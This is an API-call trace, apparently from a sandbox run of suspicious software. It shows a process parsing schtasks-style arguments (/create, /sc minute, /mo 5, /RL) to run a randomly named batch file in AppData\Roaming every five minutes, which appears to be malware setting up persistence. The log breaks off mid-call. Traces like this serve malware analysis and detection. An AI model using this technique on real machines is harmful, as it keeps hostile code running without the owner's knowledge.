[0086.380] lstrlenW (lpString="-/") returned 2 [0086.380] StrChrIW (lpStart="-/", wMatch=0x43) returned 0x0 [0086.380] SetLastError (dwErrCode=0x490) [0086.380] SetLastError (dwErrCode=0x490) [0086.380] SetLastError (dwErrCode=0x0) [0086.380] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\YW0T0jSM.bat") returned 58 [0086.380] StrChrIW (lpStart="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\YW0T0jSM.bat", wMatch=0x3a) returned=":\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\YW0T0jSM.bat" [0086.380] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\YW0T0jSM.bat") returned 58 [0086.380] _memicmp (_Buf1=0x744e10, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.380] _memicmp (_Buf1=0x744e40, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.380] SetLastError (dwErrCode=0x7a) [0086.380] SetLastError (dwErrCode=0x0) [0086.380] SetLastError (dwErrCode=0x0) [0086.380] lstrlenW (lpString="C") returned 1 [0086.380] SetLastError (dwErrCode=0x490) [0086.380] SetLastError (dwErrCode=0x0) [0086.380] GetProcessHeap () returned 0x730000 [0086.380] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x10) returned 0x744e70 [0086.380] _memicmp (_Buf1=0x744e70, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.380] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\YW0T0jSM.bat") returned 58 [0086.380] GetProcessHeap () returned 0x730000 [0086.380] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x76) returned 0x73f830 [0086.380] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\YW0T0jSM.bat") returned 58 [0086.380] lstrlenW (lpString=" \x09") returned 2 [0086.380] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0086.380] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0086.380] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0086.380] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0086.381] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0086.381] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0086.381] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0086.381] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0086.381] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0086.381] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0086.381] StrChrW (lpStart=" \x09", wMatch=0x35) returned 0x0 [0086.381] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0086.381] StrChrW (lpStart=" \x09", wMatch=0x35) returned 0x0 [0086.381] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0086.381] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0086.381] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0086.381] StrChrW (lpStart=" \x09", wMatch=0x4a) returned 0x0 [0086.381] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0086.381] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0086.381] StrChrW (lpStart=" \x09", wMatch=0x6a) returned 0x0 [0086.381] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0086.381] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0086.381] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0086.381] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0 [0086.381] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0086.381] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0086.381] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0086.381] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0086.381] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0086.381] StrChrW (lpStart=" \x09", wMatch=0x7a) returned 0x0 [0086.381] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0086.381] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0 [0086.381] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0086.381] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0086.381] StrChrW (lpStart=" \x09", wMatch=0x44) returned 0x0 [0086.381] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0086.381] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0086.381] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0086.381] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0086.381] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0086.381] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0086.381] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0086.381] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0086.381] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0086.381] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0086.381] StrChrW (lpStart=" \x09", wMatch=0x67) returned 0x0 [0086.381] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0086.382] StrChrW (lpStart=" \x09", wMatch=0x59) returned 0x0 [0086.382] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0 [0086.382] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0086.382] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0086.382] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0086.382] StrChrW (lpStart=" \x09", wMatch=0x6a) returned 0x0 [0086.382] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0086.382] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0086.382] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0086.382] StrChrW (lpStart=" \x09", wMatch=0x62) returned 0x0 [0086.382] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0086.382] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0086.382] GetLastError () returned 0x0 [0086.382] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\YW0T0jSM.bat") returned 58 [0086.382] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\YW0T0jSM.bat") returned 58 [0086.382] SetLastError (dwErrCode=0x0) [0086.382] SetLastError (dwErrCode=0x0) [0086.382] lstrlenW (lpString="/sc") returned 3 [0086.382] lstrlenW (lpString="-/") returned 2 [0086.382] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0086.382] lstrlenW (lpString="create") returned 6 [0086.382] lstrlenW (lpString="create") returned 6 [0086.382] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.382] lstrlenW (lpString="sc") returned 2 [0086.382] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.382] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|create|") returned 8 [0086.382] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|sc|") returned 4 [0086.382] lstrlenW (lpString="|create|") returned 8 [0086.382] lstrlenW (lpString="|sc|") returned 4 [0086.382] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0086.382] SetLastError (dwErrCode=0x490) [0086.382] lstrlenW (lpString="?") returned 1 [0086.382] lstrlenW (lpString="?") returned 1 [0086.382] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.382] lstrlenW (lpString="sc") returned 2 [0086.382] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.382] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|?|") returned 3 [0086.382] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|sc|") returned 4 [0086.382] lstrlenW (lpString="|?|") returned 3 [0086.382] lstrlenW (lpString="|sc|") returned 4 [0086.382] SetLastError (dwErrCode=0x490) [0086.383] lstrlenW (lpString="s") returned 1 [0086.383] lstrlenW (lpString="s") returned 1 [0086.383] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.383] lstrlenW (lpString="sc") returned 2 [0086.383] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.383] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|s|") returned 3 [0086.383] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|sc|") returned 4 [0086.383] lstrlenW (lpString="|s|") returned 3 [0086.383] lstrlenW (lpString="|sc|") returned 4 [0086.383] SetLastError (dwErrCode=0x490) [0086.383] lstrlenW (lpString="u") returned 1 [0086.383] lstrlenW (lpString="u") returned 1 [0086.383] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.383] lstrlenW (lpString="sc") returned 2 [0086.383] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.383] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|u|") returned 3 [0086.383] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|sc|") returned 4 [0086.383] lstrlenW (lpString="|u|") returned 3 [0086.383] lstrlenW (lpString="|sc|") returned 4 [0086.383] SetLastError (dwErrCode=0x490) [0086.383] lstrlenW (lpString="p") returned 1 [0086.383] lstrlenW (lpString="p") returned 1 [0086.383] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.383] lstrlenW (lpString="sc") returned 2 [0086.383] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.383] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|p|") returned 3 [0086.383] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|sc|") returned 4 [0086.383] lstrlenW (lpString="|p|") returned 3 [0086.383] lstrlenW (lpString="|sc|") returned 4 [0086.383] SetLastError (dwErrCode=0x490) [0086.383] lstrlenW (lpString="ru") returned 2 [0086.383] lstrlenW (lpString="ru") returned 2 [0086.383] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.383] lstrlenW (lpString="sc") returned 2 [0086.383] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.383] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|ru|") returned 4 [0086.383] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|sc|") returned 4 [0086.384] lstrlenW (lpString="|ru|") returned 4 [0086.384] lstrlenW (lpString="|sc|") returned 4 [0086.384] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0086.384] SetLastError (dwErrCode=0x490) [0086.384] lstrlenW (lpString="rp") returned 2 [0086.384] lstrlenW (lpString="rp") returned 2 [0086.384] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.384] lstrlenW (lpString="sc") returned 2 [0086.384] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.384] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|rp|") returned 4 [0086.384] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|sc|") returned 4 [0086.384] lstrlenW (lpString="|rp|") returned 4 [0086.384] lstrlenW (lpString="|sc|") returned 4 [0086.384] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0086.384] SetLastError (dwErrCode=0x490) [0086.384] lstrlenW (lpString="sc") returned 2 [0086.384] lstrlenW (lpString="sc") returned 2 [0086.384] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.384] lstrlenW (lpString="sc") returned 2 [0086.384] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.384] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|sc|") returned 4 [0086.384] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|sc|") returned 4 [0086.384] lstrlenW (lpString="|sc|") returned 4 [0086.384] lstrlenW (lpString="|sc|") returned 4 [0086.384] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0086.384] SetLastError (dwErrCode=0x0) [0086.384] SetLastError (dwErrCode=0x0) [0086.384] lstrlenW (lpString="minute") returned 6 [0086.384] lstrlenW (lpString="-/") returned 2 [0086.384] StrChrIW (lpStart="-/", wMatch=0x6d) returned 0x0 [0086.384] SetLastError (dwErrCode=0x490) [0086.384] SetLastError (dwErrCode=0x490) [0086.384] SetLastError (dwErrCode=0x0) [0086.384] lstrlenW (lpString="minute") returned 6 [0086.384] StrChrIW (lpStart="minute", wMatch=0x3a) returned 0x0 [0086.384] SetLastError (dwErrCode=0x490) [0086.384] SetLastError (dwErrCode=0x0) [0086.384] _memicmp (_Buf1=0x744e70, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.384] lstrlenW (lpString="minute") returned 6 [0086.384] lstrlenW (lpString="minute") returned 6 [0086.385] lstrlenW (lpString=" \x09") returned 2 [0086.385] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0086.385] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0086.385] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0086.385] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0086.385] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0086.385] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0086.385] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0086.385] GetLastError () returned 0x0 [0086.385] lstrlenW (lpString="minute") returned 6 [0086.385] lstrlenW (lpString="minute") returned 6 [0086.385] SetLastError (dwErrCode=0x0) [0086.385] SetLastError (dwErrCode=0x0) [0086.385] lstrlenW (lpString="/mo") returned 3 [0086.385] lstrlenW (lpString="-/") returned 2 [0086.385] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0086.385] lstrlenW (lpString="create") returned 6 [0086.385] lstrlenW (lpString="create") returned 6 [0086.385] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.385] lstrlenW (lpString="mo") returned 2 [0086.385] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.385] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|create|") returned 8 [0086.385] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|mo|") returned 4 [0086.385] lstrlenW (lpString="|create|") returned 8 [0086.385] lstrlenW (lpString="|mo|") returned 4 [0086.385] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0086.385] SetLastError (dwErrCode=0x490) [0086.385] lstrlenW (lpString="?") returned 1 [0086.385] lstrlenW (lpString="?") returned 1 [0086.385] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.385] lstrlenW (lpString="mo") returned 2 [0086.385] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.385] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|?|") returned 3 [0086.385] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|mo|") returned 4 [0086.385] lstrlenW (lpString="|?|") returned 3 [0086.385] lstrlenW (lpString="|mo|") returned 4 [0086.385] SetLastError (dwErrCode=0x490) [0086.385] lstrlenW (lpString="s") returned 1 [0086.385] lstrlenW (lpString="s") returned 1 [0086.385] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.386] lstrlenW (lpString="mo") returned 2 [0086.386] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.386] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|s|") returned 3 [0086.386] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|mo|") returned 4 [0086.386] lstrlenW (lpString="|s|") returned 3 [0086.386] lstrlenW (lpString="|mo|") returned 4 [0086.386] SetLastError (dwErrCode=0x490) [0086.386] lstrlenW (lpString="u") returned 1 [0086.386] lstrlenW (lpString="u") returned 1 [0086.386] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.386] lstrlenW (lpString="mo") returned 2 [0086.386] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.386] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|u|") returned 3 [0086.386] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|mo|") returned 4 [0086.386] lstrlenW (lpString="|u|") returned 3 [0086.386] lstrlenW (lpString="|mo|") returned 4 [0086.386] SetLastError (dwErrCode=0x490) [0086.386] lstrlenW (lpString="p") returned 1 [0086.386] lstrlenW (lpString="p") returned 1 [0086.386] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.386] lstrlenW (lpString="mo") returned 2 [0086.386] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.386] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|p|") returned 3 [0086.386] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|mo|") returned 4 [0086.386] lstrlenW (lpString="|p|") returned 3 [0086.386] lstrlenW (lpString="|mo|") returned 4 [0086.386] SetLastError (dwErrCode=0x490) [0086.386] lstrlenW (lpString="ru") returned 2 [0086.386] lstrlenW (lpString="ru") returned 2 [0086.386] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.386] lstrlenW (lpString="mo") returned 2 [0086.386] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.386] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|ru|") returned 4 [0086.386] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|mo|") returned 4 [0086.386] lstrlenW (lpString="|ru|") returned 4 [0086.386] lstrlenW (lpString="|mo|") returned 4 [0086.386] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0086.386] SetLastError (dwErrCode=0x490) [0086.386] lstrlenW (lpString="rp") returned 2 [0086.387] lstrlenW (lpString="rp") returned 2 [0086.387] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.387] lstrlenW (lpString="mo") returned 2 [0086.387] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.387] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|rp|") returned 4 [0086.387] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|mo|") returned 4 [0086.387] lstrlenW (lpString="|rp|") returned 4 [0086.387] lstrlenW (lpString="|mo|") returned 4 [0086.387] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0086.387] SetLastError (dwErrCode=0x490) [0086.387] lstrlenW (lpString="sc") returned 2 [0086.387] lstrlenW (lpString="sc") returned 2 [0086.387] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.387] lstrlenW (lpString="mo") returned 2 [0086.387] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.387] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|sc|") returned 4 [0086.387] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|mo|") returned 4 [0086.387] lstrlenW (lpString="|sc|") returned 4 [0086.387] lstrlenW (lpString="|mo|") returned 4 [0086.387] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0086.387] SetLastError (dwErrCode=0x490) [0086.387] lstrlenW (lpString="mo") returned 2 [0086.387] lstrlenW (lpString="mo") returned 2 [0086.387] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.387] lstrlenW (lpString="mo") returned 2 [0086.387] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.387] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|mo|") returned 4 [0086.387] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|mo|") returned 4 [0086.387] lstrlenW (lpString="|mo|") returned 4 [0086.387] lstrlenW (lpString="|mo|") returned 4 [0086.387] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0086.387] SetLastError (dwErrCode=0x0) [0086.387] SetLastError (dwErrCode=0x0) [0086.387] lstrlenW (lpString="5") returned 1 [0086.387] SetLastError (dwErrCode=0x490) [0086.387] SetLastError (dwErrCode=0x0) [0086.387] lstrlenW (lpString="5") returned 1 [0086.387] StrChrIW (lpStart="5", wMatch=0x3a) returned 0x0 [0086.387] SetLastError (dwErrCode=0x490) [0086.387] SetLastError (dwErrCode=0x0) [0086.388] _memicmp (_Buf1=0x744e70, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.388] lstrlenW (lpString="5") returned 1 [0086.388] lstrlenW (lpString="5") returned 1 [0086.388] lstrlenW (lpString=" \x09") returned 2 [0086.388] StrChrW (lpStart=" \x09", wMatch=0x35) returned 0x0 [0086.388] StrChrW (lpStart=" \x09", wMatch=0x35) returned 0x0 [0086.388] GetLastError () returned 0x0 [0086.388] lstrlenW (lpString="5") returned 1 [0086.388] lstrlenW (lpString="5") returned 1 [0086.388] GetProcessHeap () returned 0x730000 [0086.388] RtlAllocateHeap (HeapHandle=0x730000, Flags=0xc, Size=0x4) returned 0x746a50 [0086.388] SetLastError (dwErrCode=0x0) [0086.388] SetLastError (dwErrCode=0x0) [0086.388] lstrlenW (lpString="/RL") returned 3 [0086.388] lstrlenW (lpString="-/") returned 2 [0086.388] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0086.388] lstrlenW (lpString="create") returned 6 [0086.388] lstrlenW (lpString="create") returned 6 [0086.388] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.388] lstrlenW (lpString="RL") returned 2 [0086.388] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.388] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|create|") returned 8 [0086.388] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|RL|") returned 4 [0086.388] lstrlenW (lpString="|create|") returned 8 [0086.388] lstrlenW (lpString="|RL|") returned 4 [0086.388] StrStrIW (lpFirst="|create|", lpSrch="|RL|") returned 0x0 [0086.388] SetLastError (dwErrCode=0x490) [0086.388] lstrlenW (lpString="?") returned 1 [0086.388] lstrlenW (lpString="?") returned 1 [0086.388] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.388] lstrlenW (lpString="RL") returned 2 [0086.388] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.388] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|?|") returned 3 [0086.388] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|RL|") returned 4 [0086.388] lstrlenW (lpString="|?|") returned 3 [0086.388] lstrlenW (lpString="|RL|") returned 4 [0086.388] SetLastError (dwErrCode=0x490) [0086.388] lstrlenW (lpString="s") returned 1 [0086.388] lstrlenW (lpString="s") returned 1 [0086.388] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.388] lstrlenW (lpString="RL") returned 2 [0086.389] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.389] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|s|") returned 3 [0086.389] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|RL|") returned 4 [0086.389] lstrlenW (lpString="|s|") returned 3 [0086.389] lstrlenW (lpString="|RL|") returned 4 [0086.389] SetLastError (dwErrCode=0x490) [0086.389] lstrlenW (lpString="u") returned 1 [0086.389] lstrlenW (lpString="u") returned 1 [0086.389] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.389] lstrlenW (lpString="RL") returned 2 [0086.389] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.389] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|u|") returned 3 [0086.389] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|RL|") returned 4 [0086.389] lstrlenW (lpString="|u|") returned 3 [0086.389] lstrlenW (lpString="|RL|") returned 4 [0086.389] SetLastError (dwErrCode=0x490) [0086.389] lstrlenW (lpString="p") returned 1 [0086.389] lstrlenW (lpString="p") returned 1 [0086.389] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.389] lstrlenW (lpString="RL") returned 2 [0086.389] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.389] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|p|") returned 3 [0086.389] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|RL|") returned 4 [0086.389] lstrlenW (lpString="|p|") returned 3 [0086.389] lstrlenW (lpString="|RL|") returned 4 [0086.389] SetLastError (dwErrCode=0x490) [0086.389] lstrlenW (lpString="ru") returned 2 [0086.389] lstrlenW (lpString="ru") returned 2 [0086.389] _memicmp (_Buf1=0x744dc8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.389] lstrlenW (lpString="RL") returned 2 [0086.389] _memicmp (_Buf1=0x744df8, _Buf2=0x521ed8, _Size=0x7) returned 0 [0086.389] _vsnwprintf (in: _Buffer=0x745450, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|ru|") returned 4 [0086.389] _vsnwprintf (in: _Buffer=0x745410, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27cb3c | out: _Buffer="|RL|") returned 4 [0086.389] lstrlenW (lpString="|ru|") returned 4 [0086.389] lstrlenW (lpString="|RL|") returned 4 [0086.390] StrStrIW 